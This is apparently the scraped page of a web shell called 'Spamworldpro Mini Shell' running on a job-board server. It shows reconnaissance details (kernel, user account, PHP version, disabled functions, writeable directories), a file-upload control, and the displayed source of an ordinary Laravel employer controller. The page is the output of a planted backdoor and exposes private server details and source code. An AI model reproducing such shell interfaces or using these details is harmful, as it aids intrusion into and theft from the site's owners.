Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/job-board.corals.io/Corals/modules/Jobs/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/job-board.corals.io/Corals/modules/Jobs/Http/Controllers/PublicEmployerController.php
<?php

namespace Corals\Modules\Jobs\Http\Controllers;

use Corals\Foundation\Http\Controllers\PublicBaseController;
use Corals\Modules\CMS\Traits\SEOTools;
use Corals\Modules\Jobs\Facades\Employers;
use Corals\Modules\Jobs\Models\Employer;
use Illuminate\Http\Request;

class PublicEmployerController extends PublicBaseController
{
    use SEOTools;

    public function __construct()
    {
        parent::__construct();
    }



    public function index(Request $request)
    {
        $employers = [
            'title' => 'Employers',
            'meta_description' => 'Employers Page',
            'url' => url('employers'),
            'type' => 'employers',
            'image' => \Settings::get('site_logo'),
            'meta_keywords' => 'employers'
        ];
        $this->setSEO((object)$employers);
        $employers = Employers::getEmployerList($request);
        $searchText = null;

        if ($request->has('search') && !empty($request->input('search'))) {
            $searchText = trans('Jobs::labels.job.search_results_for',
                ['search' => strip_tags($request->get('search'))]);
        }

        $sortOptions = trans(config('jobs.models.job.sort_options'));
        $layout = $request->get('layout', 'list');

        return view('templates.employers')->with(compact('layout', 'employers', 'sortOptions', 'searchText'));
    }

    /**
     * @param Employer $employer
     * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View
     */
    public function show(Employer $employer)
    {
        $employers = [
            'title' => $employer->name,
            'meta_description' => $employer->short_description,
            'url' => url('employers/'.$employer->hashed_id),
            'type' => 'employer',
        ];

        $this->setSEO((object)$employers);

        return view('partials.page_employer')->with(compact('employer'));
    }

}

Spamworldpro Mini